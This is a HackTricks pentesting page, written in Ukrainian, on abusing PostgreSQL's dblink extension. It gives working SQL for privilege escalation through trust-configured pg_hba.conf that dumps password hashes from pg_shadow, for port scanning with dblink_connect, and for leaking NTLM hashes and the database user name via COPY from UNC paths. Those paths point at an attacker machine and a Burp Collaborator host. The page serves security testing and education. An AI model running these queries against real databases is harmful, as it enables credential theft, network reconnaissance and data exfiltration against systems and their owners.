Network - Privesc, Port Scanner and NTLM chanllenge response disclosure

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Знайдіть більше інформації про ці атаки у оригінальній статті.

Оскільки PostgreSQL 9.1, встановлення додаткових модулів є простим. Зареєстровані розширення, такі як dblink можна встановити за допомогою CREATE EXTENSION:

CREATE EXTENSION dblink;

Після завантаження dblink ви зможете виконати деякі цікаві трюки:

Підвищення привілеїв

Файл pg_hba.conf може бути погано налаштований, дозволяючи підключення з localhost як будь-якого користувача без необхідності знати пароль. Цей файл зазвичай знаходиться в /etc/postgresql/12/main/pg_hba.conf, а погана конфігурація виглядає наступним чином:

local    all    all    trust

Зверніть увагу, що ця конфігурація часто використовується для зміни пароля користувача бази даних, коли адміністратор його забуває, тому іноді ви можете знайти це. Також зверніть увагу, що файл pg_hba.conf доступний лише для читання користувачем та групою postgres і доступний для запису лише користувачем postgres.

Цей випадок корисний, якщо у вас вже є оболонка всередині жертви, оскільки це дозволить вам підключитися до бази даних postgresql.

Ще одна можлива помилкова конфігурація полягає в наступному:

host    all     all     127.0.0.1/32    trust

Якщо це дозволить всім з localhost підключатися до бази даних як будь-якому користувачеві. У цьому випадку, якщо функція dblink працює, ви можете підвищити привілеї, підключившись до бази даних через вже встановлене з'єднання та отримати доступ до даних, до яких не повинні мати доступ:

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);

Сканування портів

Зловживанням dblink_connect ви також можете шукати відкриті порти. Якщо ця функція не працює, вам слід спробувати використати dblink_connect_u(), оскільки в документації сказано, що dblink_connect_u() ідентичний dblink_connect(), за винятком того, що він дозволить не суперкористувачам підключатися за допомогою будь-якого методу аутентифікації.

SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR:  could not establish connection
DETAIL:  could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?

// Port Filtered/Timeout
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTP server
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTPS server
ERROR:  could not establish connection
DETAIL:  received invalid response to SSL negotiation:

Зверніть увагу, що перед можливістю використання dblink_connect або dblink_connect_u вам може знадобитися виконати:

CREATE extension dblink;

UNC шлях - розкриття хешу NTLM

-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated